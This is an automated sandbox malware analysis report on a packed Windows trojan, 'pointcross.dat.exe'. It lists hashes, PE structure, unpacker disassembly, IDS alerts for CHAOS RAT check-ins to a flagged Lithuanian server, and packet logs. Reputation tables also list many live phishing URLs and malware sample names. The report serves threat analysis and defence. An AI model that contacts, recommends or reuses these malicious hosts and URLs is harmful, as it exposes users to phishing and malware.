              World Map of Contacted IPs

              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs

              Public IPs

              IPDomainCountryFlagASNASN NameMalicious
              213.183.63.99
              		unknownLithuania
              		56630MELBICOM-EU-ASMelbikomasUABNLtrue
              104.16.133.229
              		cloudflare.comUnited States
              		13335CLOUDFLARENETUSfalse

              General Information

              Joe Sandbox Version:38.0.0 Ammolite
              Analysis ID:1348350
              Start date and time:2023-11-27 10:11:07 +01:00
              Joe Sandbox Product:CloudBasic
              Overall analysis duration:0h 4m 36s
              Hypervisor based Inspection enabled:false
              Report type:full
              Cookbook file name:default.jbs
              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
              Number of analysed new started processes analysed:8
              Number of new started drivers analysed:0
              Number of existing processes analysed:0
              Number of existing drivers analysed:0
              Number of injected processes analysed:0
              Technologies:
              • HCA enabled
              • EGA enabled
              • AMSI enabled
              Analysis Mode:default
              Analysis stop reason:Timeout
              Sample file name:pointcross.dat.exe
              Detection:MAL
              Classification:mal72.troj.winEXE@6/4@1/2
              EGA Information:Failed
              HCA Information:
              • Successful, ratio: 100%
              • Number of executed functions: 0
              • Number of non-executed functions: 0
              Cookbook Comments:
              • Found application associated with file extension: .exe

              Warnings

              • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
              • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
              • Not all processes where analyzed, report is missing behavior information
              • Report size getting too big, too many NtAllocateVirtualMemory calls found.
              • Report size getting too big, too many NtDeviceIoControlFile calls found.
              • Report size getting too big, too many NtQueryValueKey calls found.

              Simulations

              Behavior and APIs

              ⊘No simulations

              Joe Sandbox View / Context

              IPs

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              104.16.133.229https://clck.ru/PYnLcGet hashmaliciousUnknownBrowse
              • cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js
              http://ec2-52-56-163-155.eu-west-2.compute.amazonaws.com/btnmGet hashmaliciousUnknownBrowse
              • cdnjs.cloudflare.com/ajax/libs/font-awesome/3.1.0/css/font-awesome.min.css
              https://j.mp/2VyKmPOGet hashmaliciousUnknownBrowse
              • cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js
              http://boucherbuilding.com/wp-includes/sodium_compat/src/archives.php/sfryd/vcd/?sense=11wpx2z0ave0vyGet hashmaliciousUnknownBrowse
              • cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js
              https://bit.ly/2ZZiYNSGet hashmaliciousUnknownBrowse
              • cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js
              https://clck.ru/NksHsGet hashmaliciousUnknownBrowse
              • cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js
              https://v.ht/difDGet hashmaliciousUnknownBrowse
              • cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js

              Domains

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              cloudflare.comhttp://multiotpfactors0ff.info/Get hashmaliciousHTMLPhisherBrowse
              • 104.17.2.184
              https://llive.com.au/4ddd44d6e5ec0d15bcb13849cd549ef265640d63c92e3LOG4ddd44d6e5ec0d15bcb13849cd549ef265640d63c92e6Get hashmaliciousUnknownBrowse
              • 104.17.3.184
              https://slaterbuilder-my.sharepoint.com/:f:/g/personal/kking_slaterbuilders_com/Ev1uqlMbotVBq1_qOAAWwnkB0TD4k9N2Z17hefLNNdFL5w?e=joImZCGet hashmaliciousHtmlDropper, HTMLPhisherBrowse
              • 104.17.3.184
              https://storage.googleapis.com/bdlinkmanager/TSTATTFDYHS_UJG.htmlGet hashmaliciousGRQ Scam, PhisherBrowse
              • 35.190.80.1
              https://docs.google.com/presentation/d/e/2PACX-1vSoH_qAnDNHwvYXYGy3UfFLI1VYhFGLdHalyv7M40yruQWw_ME0GhB8Xhr6qqw-3eSRn-irERYgl3Sv/pub?start=false&loop=false&delayms=3000Get hashmaliciousHtmlDropper, HTMLPhisherBrowse
              • 104.17.3.184
              https://objectstorage.ap-sydney-1.oraclecloud.com/n/idrlconj5yne/b/ndfnmdfmdsds/o/login.microsoftonline.htmGet hashmaliciousHTMLPhisherBrowse
              • 104.17.25.14
              https://objectstorage.us-phoenix-1.oraclecloud.com/n/axlhys9btmq8/b/vmexpress/o/leoleo.htmlGet hashmaliciousHTMLPhisherBrowse
              • 104.17.25.14
              https://pub-4c6662782926434588effff825b1eb1a.r2.dev/auths.htmlGet hashmaliciousHTMLPhisherBrowse
              • 104.17.24.14
              https://objectstorage.us-ashburn-1.oraclecloud.com/n/idgugmx9n3oo/b/bucket-20230111-0827/o/server%20(4).htmlGet hashmaliciousHTMLPhisherBrowse
              • 104.17.25.14
              https://alisalomon92.000webhostapp.com/Get hashmaliciousUnknownBrowse
              • 104.17.3.184
              https://stecmcommunity.com/prof/78920478190328132212Get hashmaliciousUnknownBrowse
              • 104.17.25.14
              https://ai-voice-a791.sr-171.workers.dev/Get hashmaliciousUnknownBrowse
              • 104.17.24.14
              http://adobe-us-updatefiles.digitalGet hashmaliciousUnknownBrowse
              • 35.190.80.1
              http://Hamas.comGet hashmaliciousUnknownBrowse
              • 35.190.80.1
              https://pub-9abe9cd3126b4701a0567f649282a16d.r2.dev/Indexx.htmlGet hashmaliciousHTMLPhisherBrowse
              • 104.17.24.14
              https://pub-f2a7a6151b8e45fa9c87891a1b3af4cb.r2.dev/new.html?email=a21pbgxlckbtam1pbgxlcmnvlmnvbq==Get hashmaliciousHTMLPhisherBrowse
              • 104.17.25.14
              https://go2cup.com/gonow-authGet hashmaliciousUnknownBrowse
              • 35.190.80.1
              https://sei.d955503313d5.space/p/redi.4ae61c3f5ad7.space/ZnVqjDpDtiijW6qabYSd87uArvjxCMGe9Heqpp1hBFGWRxqtJb4UT/123/f.eeee48295dd7.space/chunklist_hd.m3u8Get hashmaliciousUnknownBrowse
              • 35.190.80.1
              12.exeGet hashmaliciousNjratBrowse
              • 104.17.2.184

              ASNs

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              CLOUDFLARENETUSPRICE_LIST_FOR_NEW_QUOTE.EXE.exeGet hashmaliciousFormBookBrowse
              • 172.67.214.17
              file.exeGet hashmaliciousDarkTortilla, Djvu, Glupteba, Raccoon Stealer v2, RedLine, SmokeLoaderBrowse
              • 162.159.134.233
              Quotation_Reference_No_DX2265.exeGet hashmaliciousSnake KeyloggerBrowse
              • 104.21.67.152
              1Y3gZBfpAEHOoYa.exeGet hashmaliciousFormBookBrowse
              • 104.21.88.235
              GImsmLZNVg.exeGet hashmaliciousDCRat, zgRATBrowse
              • 172.67.129.42
              INVOICE0986543009070.exeGet hashmaliciousSnake KeyloggerBrowse
              • 172.67.177.134
              file.exeGet hashmaliciousDarkTortilla, Djvu, Glupteba, RedLine, SmokeLoaderBrowse
              • 104.21.65.24
              SecuriteInfo.com.Win32.PWSX-gen.29998.25521.exeGet hashmaliciousFormBookBrowse
              • 23.227.38.74
              http://multiotpfactors0ff.info/Get hashmaliciousHTMLPhisherBrowse
              • 104.17.2.184
              tx6lJfVP3c.exeGet hashmaliciousGlupteba, RedLine, SmokeLoader, Xmrig, zgRATBrowse
              • 104.21.6.189
              https://llive.com.au/4ddd44d6e5ec0d15bcb13849cd549ef265640d63c92e3LOG4ddd44d6e5ec0d15bcb13849cd549ef265640d63c92e6Get hashmaliciousUnknownBrowse
              • 104.17.2.184
              dFagySOU5B.exeGet hashmaliciousGlupteba, RedLine, SmokeLoader, Xmrig, zgRATBrowse
              • 172.67.135.47
              https://slaterbuilder-my.sharepoint.com/:f:/g/personal/kking_slaterbuilders_com/Ev1uqlMbotVBq1_qOAAWwnkB0TD4k9N2Z17hefLNNdFL5w?e=joImZCGet hashmaliciousHtmlDropper, HTMLPhisherBrowse
              • 1.1.1.1
              https://storage.googleapis.com/bdlinkmanager/TSTATTFDYHS_UJG.htmlGet hashmaliciousGRQ Scam, PhisherBrowse
              • 104.21.1.7
              https://docs.google.com/presentation/d/e/2PACX-1vSoH_qAnDNHwvYXYGy3UfFLI1VYhFGLdHalyv7M40yruQWw_ME0GhB8Xhr6qqw-3eSRn-irERYgl3Sv/pub?start=false&loop=false&delayms=3000Get hashmaliciousHtmlDropper, HTMLPhisherBrowse
              • 104.17.2.184
              file.exeGet hashmaliciousDarkTortilla, Djvu, Glupteba, Raccoon Stealer v2, RedLine, SmokeLoaderBrowse
              • 104.21.65.24
              aXCZLdgtmG.exeGet hashmaliciousGlupteba, RedLine, SmokeLoader, Xmrig, zgRATBrowse
              • 104.21.6.189
              latest.apkGet hashmaliciousIrataBrowse
              • 104.19.192.177
              J7KkkQ9RRb.exeGet hashmaliciousGlupteba, RedLine, SmokeLoader, Xmrig, zgRATBrowse
              • 104.21.6.189
              https://objectstorage.ap-sydney-1.oraclecloud.com/n/idrlconj5yne/b/ndfnmdfmdsds/o/login.microsoftonline.htmGet hashmaliciousHTMLPhisherBrowse
              • 104.17.25.14
              MELBICOM-EU-ASMelbikomasUABNLhttps://girisler.com/corpnetb.ndsav/Get hashmaliciousUnknownBrowse
              • 194.59.142.114
              sahamedalat.apkGet hashmaliciousIrataBrowse
              • 31.40.216.202
              08274199.exeGet hashmaliciousGluptebaBrowse
              • 194.59.46.2
              http://freeganpulriefreezre.tkGet hashmaliciousUnknownBrowse
              • 88.218.242.3
              n1nAOKUE2T.exeGet hashmaliciousRemcosBrowse
              • 213.183.58.19
              AF35fGHGm4.exeGet hashmaliciousRemcosBrowse
              • 213.183.58.19
              Czheg4aceS.exeGet hashmaliciousRemcosBrowse
              • 213.183.58.19
              eTQPk3gwjv.dllGet hashmaliciousWannacryBrowse
              • 185.246.153.91
              RAK6aQyp7c.dllGet hashmaliciousWannacryBrowse
              • 213.183.54.220
              ASNQgoDsYv.dllGet hashmaliciousWannacryBrowse
              • 213.183.55.249
              http://refpaicctvtm.topGet hashmaliciousUnknownBrowse
              • 45.150.232.198
              9nRdO4MVpBGet hashmaliciousMiraiBrowse
              • 185.246.153.43
              dAUDXNXEoZGet hashmaliciousMiraiBrowse
              • 185.246.153.97
              crypted_loader_dll_64Donat_5.dllGet hashmaliciousUrsnifBrowse
              • 213.183.56.140
              payslip_ord-76357827.xlsbGet hashmaliciousHidden Macro 4.0 Ursnif Ursnif v3Browse
              • 213.183.56.140
              xIOggpNWfl.exeGet hashmaliciousBitRATBrowse
              • 185.246.152.22
              uyw4zvh8QqGet hashmaliciousMiraiBrowse
              • 192.71.26.94
              m.exeGet hashmaliciousUnknownBrowse
              • 213.183.53.166
              YwZpT3p5Rh.msiGet hashmaliciousUnknownBrowse
              • 213.226.71.164
              mpjA0y4VMf.exeGet hashmaliciousRedLineBrowse
              • 213.226.71.125

              JA3 Fingerprints

              ⊘No context

              Dropped Files

              ⊘No context

              Created / dropped Files

              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Download File
              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              File Type:data
              Category:dropped
              Size (bytes):64
              Entropy (8bit):0.7307872139132228
              Encrypted:false
              SSDEEP:3:Nlllul:NllU
              MD5:6DA15BE18F0DF00B9DC2DC6B72B103F2
              SHA1:4ADB8B407D51A20952CB8E4EC0349D742862B568
              SHA-256:19704E2940D1D9E46CF80F36AAB157098B0A8C61865C087167F9AFA9A9F70352
              SHA-512:5BF5FF5A02FA55C13D6DD266361F8DD2747DD657ABF21032E7DD3E9C28D65A3E9CB88F5AE7E6F2029E9FC37D5EA90C020F6423092C84DE41A2AD7E0DCBC72EB4
              Malicious:false
              Reputation:moderate, very likely benign file
              Preview:@...e...........................................................

              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2baze5bb.p2q.ps1

              Download File
              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with no line terminators
              Category:dropped
              Size (bytes):60
              Entropy (8bit):4.038920595031593
              Encrypted:false
              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
              MD5:D17FE0A3F47BE24A6453E9EF58C94641
              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
              Malicious:false
              Reputation:high, very likely benign file
              Preview:# PowerShell test file to determine AppLocker lockdown mode

              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2cgetcfx.pr5.psm1

              Download File
              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with no line terminators
              Category:dropped
              Size (bytes):60
              Entropy (8bit):4.038920595031593
              Encrypted:false
              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
              MD5:D17FE0A3F47BE24A6453E9EF58C94641
              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
              Malicious:false
              Reputation:high, very likely benign file
              Preview:# PowerShell test file to determine AppLocker lockdown mode

              \Device\Mup\user-PC\PIPE\samr

              Download File
              Process:C:\Users\user\Desktop\pointcross.dat.exe
              File Type:GLS_BINARY_LSB_FIRST
              Category:dropped
              Size (bytes):160
              Entropy (8bit):4.438743916256937
              Encrypted:false
              SSDEEP:3:rmHfvtH//STGlA1yqGlYUGk+ldyHGlgZty:rmHcKtGFlqty
              MD5:E467C82627F5E1524FDB4415AF19FC73
              SHA1:B86E3AA40E9FBED0494375A702EABAF1F2E56F8E
              SHA-256:116CD35961A2345CE210751D677600AADA539A66F046811FA70E1093E01F2540
              SHA-512:2A969893CC713D6388FDC768C009055BE1B35301A811A7E313D1AEEC1F75C88CCDDCD8308017A852093B1310811E90B9DA76B6330AACCF5982437D84F553183A
              Malicious:false
              Reputation:moderate, very likely benign file
              Preview:................................xW4.4.....#Eg.......]..........+.H`........xW4.4.....#Eg......3.qq..7I......6........xW4.4.....#Eg......,..l..@E............

              Static File Info

              General

              File type:PE32+ executable (console) x86-64, for MS Windows
              Entropy (8bit):7.999960057089601
              TrID:
              • Win64 Executable Console (202006/5) 81.26%
              • UPX compressed Win32 Executable (30571/9) 12.30%
              • Win64 Executable (generic) (12005/4) 4.83%
              • Generic Win/DOS Executable (2004/3) 0.81%
              • DOS Executable Generic (2002/1) 0.81%
              File name:pointcross.dat.exe
              File size:5'921'280 bytes
              MD5:585381bc89179fe4fd758c05ae7049b4
              SHA1:b8df37aeb48b75fa26f6ff8cc9cc213142f98d0d
              SHA256:b66cd936cb687374b4822dc779e08dc1e2ab0b595a59fad709aab94d9f61c12d
              SHA512:a550a2cdd0db4e2c070801ab4756dd79a72adab9a634dad1717747113095a7bb75aed430570fb6bd23d0c9f46f35a6385c887a31dbbb795bf17c45ee5a713ca7
              SSDEEP:98304:uUgCUlXKwwNmruPMUDOJnjRNdeFasthpHxWDSVDVf/D6LY8Hghpxi37BaNChcxAP:DU1qNmykLVdqa00+jYDoyYCeH
              TLSH:85563333C6128B0ED75595F7E8C5BAC0523EC0F46E937C18E4AA57C2EAD56A701EEB01
              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................."......`Z.......S..9....S...@..............................`............`... ............................

              File Icon

              Icon Hash:90cececece8e8eb0

              Static PE Info

              General

              Entrypoint:0xee39b0
              Entrypoint Section:UPX1
              Digitally signed:false
              Imagebase:0x400000
              Subsystem:windows cui
              Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
              DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
              Time Stamp:0x0 [Thu Jan 1 00:00:00 1970 UTC]
              TLS Callbacks:
              CLR (.Net) Version:
              OS Version Major:6
              OS Version Minor:1
              File Version Major:6
              File Version Minor:1
              Subsystem Version Major:6
              Subsystem Version Minor:1
              Import Hash:6ed4f5f04d62b18d96b26d6db7c18840

              Entrypoint Preview

              Instruction
              push ebx
              push esi
              push edi
              push ebp
              dec eax
              lea esi, dword ptr [FFA5B66Ah]
              dec eax
              lea edi, dword ptr [esi-0053E025h]
              push edi
              mov eax, 00AE1053h
              push eax
              dec eax
              mov ecx, esp
              dec eax
              mov edx, edi
              dec eax
              mov edi, esi
              mov esi, 005A4982h
              push ebp
              dec eax
              mov ebp, esp
              inc esp
              mov ecx, dword ptr [ecx]
              dec ecx
              mov eax, edx
              dec eax
              mov edx, esi
              dec eax
              lea esi, dword ptr [edi+02h]
              push esi
              mov al, byte ptr [edi]
              dec edx
              mov cl, al
              and al, 07h
              shr cl, 00000003h
              dec eax
              mov ebx, FFFFFD00h
              dec eax
              shl ebx, cl
              mov cl, al
              dec eax
              lea ebx, dword ptr [esp+ebx*2-00000E78h]
              dec eax
              and ebx, FFFFFFC0h
              push 00000000h
              dec eax
              cmp esp, ebx
              jne 00007F618CD1D26Bh
              push ebx
              dec eax
              lea edi, dword ptr [ebx+08h]
              mov cl, byte ptr [esi-01h]
              dec edx
              mov byte ptr [edi+02h], al
              mov al, cl
              shr cl, 00000004h
              mov byte ptr [edi+01h], cl
              and al, 0Fh
              mov byte ptr [edi], al
              dec eax
              lea ecx, dword ptr [edi-04h]
              push eax
              inc ecx
              push edi
              dec eax
              lea eax, dword ptr [edi+04h]
              inc ebp
              xor edi, edi
              inc ecx
              push esi
              inc ecx
              mov esi, 00000001h
              inc ecx
              push ebp
              inc ebp
              xor ebp, ebp
              inc ecx
              push esp
              push ebp
              push ebx
              dec eax
              sub esp, 48h
              dec eax
              mov dword ptr [esp+38h], ecx
              dec eax
              mov dword ptr [esp+20h], eax
              mov eax, 00000001h
              dec eax
              mov dword ptr [esp+40h], esi
              dec esp
              mov dword ptr [esp+30h], eax
              mov ebx, eax
              inc esp
              mov dword ptr [esp+2Ch], ecx
              movzx ecx, byte ptr [edi+02h]
              shl ebx, cl
              mov ecx, ebx

              Data Directories

              NameVirtual AddressVirtual Size Is in Section
              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
              IMAGE_DIRECTORY_ENTRY_IMPORT0xae50000x9cUPX2
              IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
              IMAGE_DIRECTORY_ENTRY_EXCEPTION0xabe0000xe8b0UPX1
              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
              IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
              IMAGE_DIRECTORY_ENTRY_IAT0x00x0
              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

              Sections

              NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
              UPX00x10000x53e0000x0unknownunknownunknownunknownIMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
              UPX10x53f0000x5a60000x5a5600unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
              UPX20xae50000x10000x200False0.1953125data1.352949710283797IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

              Imports

              DLLImport
              KERNEL32.DLLLoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect

              Network Behavior

              Snort IDS Alerts

              TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
              192.168.2.4213.183.63.994973280802037145 11/27/23-10:13:59.242019TCP2037145ET TROJAN Win32/Khaosz.A!MTB Checkin497328080192.168.2.4213.183.63.99
              192.168.2.4213.183.63.994973280802046873 11/27/23-10:13:58.191363TCP2046873ET TROJAN CHAOS RAT CnC Server Status Check497328080192.168.2.4213.183.63.99
              192.168.2.4213.183.63.994973180802046872 11/27/23-10:11:57.761039TCP2046872ET TROJAN CHAOS RAT Client Checkin497318080192.168.2.4213.183.63.99

              Network Port Distribution

              TCP Packets

              TimestampSource PortDest PortSource IPDest IP
              Nov 27, 2023 10:11:57.011673927 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.011704922 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.011782885 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.012520075 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.012531042 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.270148039 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.270349026 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.270363092 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.270500898 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.270504951 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.271662951 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.271724939 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.350487947 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.350591898 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.350620985 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.393281937 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.397699118 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.397707939 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.445250988 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.552793980 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.552903891 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.552958965 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.553107977 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.553123951 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.553150892 CET49730443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.553157091 CET44349730104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.553663969 CET497318080192.168.2.4213.183.63.99
              Nov 27, 2023 10:11:57.554263115 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:11:57.756359100 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:11:57.756551027 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:11:57.757246017 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:11:57.760345936 CET808049731213.183.63.99192.168.2.4
              Nov 27, 2023 10:11:57.760411024 CET497318080192.168.2.4213.183.63.99
              Nov 27, 2023 10:11:57.761039019 CET497318080192.168.2.4213.183.63.99
              Nov 27, 2023 10:11:57.959352016 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:11:57.959743023 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:11:57.967633009 CET808049731213.183.63.99192.168.2.4
              Nov 27, 2023 10:11:57.968113899 CET808049731213.183.63.99192.168.2.4
              Nov 27, 2023 10:11:57.970833063 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.970855951 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:57.970937014 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.971931934 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:57.971946001 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.003927946 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:11:58.019654989 CET497318080192.168.2.4213.183.63.99
              Nov 27, 2023 10:11:58.225090027 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.225306988 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:58.225320101 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.225620985 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:58.225629091 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.226713896 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.226768970 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:58.270457983 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:58.270572901 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.270622015 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:58.317270041 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.318161964 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:58.318192005 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.369016886 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:58.521369934 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.524703979 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.524816990 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:58.524884939 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:58.524907112 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.524936914 CET49733443192.168.2.4104.16.133.229
              Nov 27, 2023 10:11:58.524943113 CET44349733104.16.133.229192.168.2.4
              Nov 27, 2023 10:11:58.525336981 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:11:58.735075951 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:11:58.783143044 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:12:01.739635944 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:12:01.943177938 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:12:01.960225105 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:01.960275888 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:01.960354090 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:01.961117029 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:01.961124897 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:01.993227959 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:12:02.218265057 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:02.218461037 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:02.218482018 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:02.218616009 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:02.218621016 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:02.219468117 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:02.219531059 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:02.220730066 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:02.220779896 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:02.220859051 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:02.220865011 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:02.267868996 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:02.507514000 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:02.507638931 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:02.507690907 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:02.507774115 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:02.507797003 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:02.507806063 CET49734443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:02.507811069 CET44349734104.16.133.229192.168.2.4
              Nov 27, 2023 10:12:02.507986069 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:12:02.716562033 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:12:02.764206886 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:12:05.717449903 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:12:05.919898033 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:12:05.923952103 CET49735443192.168.2.4104.16.133.229
              Nov 27, 2023 10:12:05.924050093 CET44349735104.16.133.229192.168.2.4
